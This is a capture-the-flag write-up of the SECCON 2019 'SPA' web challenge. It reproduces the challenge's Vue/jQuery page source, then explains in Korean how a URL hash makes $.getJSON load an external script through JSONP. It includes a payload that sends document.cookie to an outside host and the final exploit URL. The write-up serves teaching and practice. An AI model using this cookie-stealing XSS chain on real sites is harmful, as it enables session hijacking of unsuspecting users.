writeup

Seccon 2019 – SPA

<!DOCTYPE html>
<html lang="en" dir="ltr">
	<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<title>SECCON Flag Archives</title>
		<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/nuclear/bulmaswatch.min.css">
		<link rel="icon" type="image/png" href="/favicon.png" />
		<style>
			.container {
				padding: .75rem;
			}
			.contest-title {
				margin-top: 1rem;
			}
			.contest-list > .title {
				font-size: 12vmin;
			}
			.title.padded {
				margin-top: 3rem;
			}
			.contest {
				display: block;
				padding: 0.5rem;
			}
			.contest-name {
				margin-bottom: 0 !important;
			}
			.flag {
				font-family: monospace;
				font-size: 1.6rem;
				word-break: break-all;
			}
			.flag-shaken {
				animation: shake 0.3s linear infinite;
				display: inline-block;
				color: #444;
			}
			.flag-shaken:nth-child(3n) { animation-delay: -0.05s; }
			.flag-shaken:nth-child(3n+1) { animation-delay: -0.15s; }
			@keyframes shake {
				0% { transform: translate(0px, 0px) rotateZ(0deg) }
				10% { transform: translate(4px, 4px) rotateZ(4deg) }
				20% { transform: translate(0px, 4px) rotateZ(0deg) }
				30% { transform: translate(4px, 0px) rotateZ(-4deg) }
				40% { transform: translate(0px, 0px) rotateZ(0deg) }
				50% { transform: translate(4px, 4px) rotateZ(4deg) }
				60% { transform: translate(0px, 0px) rotateZ(0deg) }
				70% { transform: translate(4px, 0px) rotateZ(-4deg) }
				80% { transform: translate(0px, 4px) rotateZ(0deg) }
				90% { transform: translate(4px, 4px) rotateZ(-4deg) }
				100% { transform: translate(0px, 0px) rotateZ(0deg) }
			}
		</style>
	</head>
	<body>
		<div id="app">
			<nav class="navbar is-light" role="navigation" aria-label="main navigation">
				<div class="navbar-brand">
					<a class="navbar-item" @click="goHome()">SECCON Flag Archives</a>
					<a
						role="button"
						class="navbar-burger burger"
						aria-label="menu"
						aria-expanded="false"
						@click="isActive = !isActive"
					>
						<span aria-hidden="true"></span>
						<span aria-hidden="true"></span>
						<span aria-hidden="true"></span>
					</a>
				</div>
				<div class="navbar-menu" :class="{'is-active': isActive}">
					<div class="navbar-start">
						<a class="navbar-item" @click="goHome()">
							Home
						</a>
						<a v-for="contest in contests" :key="contest.id" class="navbar-item" @click="goContest(contest.id)">
							{{contest.name}}
						</a>
					</div>
				</div>
			</nav>
			<div v-if="route === 'home'" class="container">
				<div class="contest-list">
					<h1 class="title padded has-text-success has-text-centered">SECCON Flag Archives</h1>
					<h2 class="subtitle has-text-centered has-text-grey-light">Complete list of the golden flags that appeared in the past SECCON CTFs</h2>
					<div class="columns">
						<div v-for="contest in contests" :key="contest.id" class="column">
							<a @click="goContest(contest.id)" class="contest has-background-success has-text-centered">
								<div class="title has-text-light contest-name is-size-3">{{contest.name}}</div>
								<div class="title has-text-light is-size-6">{{contest.count}} flags</div>
							</a>
						</div>
					</div>
					<div class="has-text-centered">
						<a @click="goReport()" class="subtitle has-text-success">
							Report Admin
						</a>
					</div>
				</div>
			</div>
			<div v-else-if="route === 'report'" class="container has-text-centered">
				<h1 class="title padded has-text-success is-size-1">Report Admin</h1>
				<h2 class="subtitle has-text-grey-light">
					If you found any glitches on this website, fill in the following form to report them.<br>
					The URL will be reviewed and the administrator will check it.
				</h2>
				<form action="/query" target="_blank" method="POST">
					<label class="label">URL</label>
					<div class="field has-addons">
						<div class="control is-expanded">
							<input class="input" type="url" name="url" placeholder="http://spa.chal.seccon.jp:18364/*****">
						</div>
						<div class="control">
							<button class="button is-link" type="submit">Submit</button>
						</div>
					</div>
				</form>
			</div>
			<div v-else-if="route === 'contest'" class="container">
				<progress v-if="isLoading" class="progress is-small is-primary" max="100"></progress>
				<p class="title contest-title has-text-centered is-size-1">{{name}}</p>
				<p class="subtitle has-text-centered is-size-3">{{start}} - {{end}}</p>
				<div class="columns is-centered">
					<div
						v-for="(link, title) in contest.links"
						class="column is-narrow has-text-centered"
					>
						<a
							class="button"
							:href="link"
							target="_blank"
						>
							{{title}}
						</a>
					</div>
				</div>
				<p class="subtitle is-size-5 has-text-centered">{{flagCount}}</p>
				<div class="columns is-multiline">
					<div v-for="{genre, name, point, flag} in flags" :key="name" class="column is-half is-info">
						<div class="card">
							<div class="card-content">
								<div class="content">
									<p class="title">
										{{name}}
										<span v-if="point !== null">
											<span v-if="point <= 100" class="tag is-light">
												{{point}}pts
											</span>
											<span v-else-if="point <= 200" class="tag is-success">
												{{point}}pts
											</span>
											<span v-else-if="point <= 300" class="tag is-link">
												{{point}}pts
											</span>
											<span v-else-if="point <= 400" class="tag is-warning">
												{{point}}pts
											</span>
											<span v-else class="tag is-danger">
												{{point}}pts
											</span>
										</span>
									</p>
									<p class="flag">
										<span v-if="flag === null">
											<span v-for="i in 10" :key="i" class="flag-shaken">?</span>
										</span>
										<span v-else>
											{{flag}}
										</span>
									</p>
									<p class="has-text-right is-size-5" :style="{color: getGenreColor(genre)}">
										{{genre}}
									</p>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
		<script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script>
		<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
		<script>
			const genreColors = new Map([
				['crypto', '#689F38'],
				['forensic', '#FF8F00'],
				['forensics', '#FF8F00'],
				['pwn', '#D32F2F'],
				['media', '#9C27B0'],
				['reversing', '#42A5F5'],
				['web', '#558B2F'],
				['binary', '#F57F17'],
				['programming', '#5D4037'],
				['exploit', '#1565C0'],
				['excercise', '#558B2F'],
				['stegano', '#424242'],
				['unknown', '#777777'],
			]);

			const getGenreColor = (genre) => {
				const normalized = genre.split('/')[0].toLowerCase();

				if (genreColors.has(normalized)) {
					return genreColors.get(normalized);
				}

				return '#777';
			};

			new Vue({
				el: '#app',
				data() {
					return {
						isLoading: true,
						isActive: false,
						route: 'home',
						contest: {},
						contests: [],
						contestId: null,
					};
				},
				computed: {
					flagCount() {
						if (this.contest.flags === undefined) {
							return 'No flags';
						}
						if (this.contest.flags.length === 1) {
							return '1 flag';
						}
						return `${this.contest.flags.length} flags`;
					},
					name() {
						return this.contest.name || location.hash.slice(1);
					},
					flags() {
						return this.contest.flags;
					},
					start() {
						if (this.contest.date === undefined) {
							return '---';
						}
						return new Date(this.contest.date.start).toLocaleString();
					},
					end() {
						if (this.contest.date === undefined) {
							return '---';
						}
						return new Date(this.contest.date.end).toLocaleString();
					},
				},
				async mounted() {
					addEventListener('hashchange', this.onHashChange);

					await this.onHashChange();
					await this.fetchContests();

					this.isLoading = false;
				},
				methods: {
					async fetchContest(contestId) {
						this.contest = await $.getJSON(`/${contestId}.json`)
					},
					async fetchContests() {
						this.contests = await $.getJSON('/contests.json')
					},
					async onHashChange() {
						const contestId = location.hash.slice(1);
						if (contestId) {
							if (contestId === 'report') {
								this.goReport();
							} else {
								await this.goContest(contestId);
							}
						} else {
							this.goHome();
						}
					},
					async goContest(contestId) {
						location.hash = `#${contestId}`
						this.route = 'contest';
						this.contestId = contestId;
						this.isLoading = true;
						this.isActive = false;

						await this.fetchContest(contestId);

						this.isLoading = false;
					},
					goHome() {
						location.hash = '';
						this.route = 'home';
						this.contestId = null;
						this.contest = {};
						this.isActive = false;
					},
					goReport() {
						location.hash = '#report';
						this.route = 'report';
						this.contestId = null;
						this.contest = {};
						this.isActive = false;
					},
					getGenreColor(genre) {
						return getGenreColor(genre);
					},
					getDateString(date) {
						const d = new Date(date.seconds * 1000);
						return d.toISOString().split('T')[0];
					},
					getDateStringJa(date) {
						const d = new Date(date.seconds * 1000);
						return `${d.getFullYear()}/${d.getMonth() + 1}/${d.getDate()}`;
					},
				},
				head() {
					return {
						title: `${this.contestId} - SECCON Flags Archive`,
					};
				},
			});
		</script>
	</body>
</html>

Vue로 구성된 XSS 문제입니다.
소스는 긴 편이지만, 취약한 부분이 보이지 않았기에
문제에서 사용하는 jQuery 함수에 대해 검색해 보았고, 정답을 찾을 수 있었습니다.

// http://poc.rwx.kr/seccon_spa.js
location = 'http://rwx.kr?cookie=' + document.cookie;
// javascript
$.getJSON('//poc.rwx.kr/seccon_spa.js?callback=?')
// final url
http://spa.chal.seccon.jp:18364/#/poc.rwx.kr/seccon_spa.js?callback=?&

jQuery의 getJSON 함수는 인자로 전달되는 url에서 callback 파라미터가 ? 으로 지정되어 있을 때, ?을 jQuery34107409498085120296_1571575807022 와 같은 랜덤 문자열으로 치환하여 전송합니다.
이는 jsonp 에 대응하기 위해서 존재하는 부분인데, 이러한 상황에서 jQuery 는 가져온 문자열을 스크립트로 해석하여 실행합니다.
hash 를 통해, 서버에 전달되는 url을 조작하는 것이 가능하므로, 서버에 임의의 스크립트를 업로드 한 후 요청하면
문제가 요구하는 대로 쿠키를 가져올 수 있습니다.

Leave a Reply

Your email address will not be published. Required fields are marked *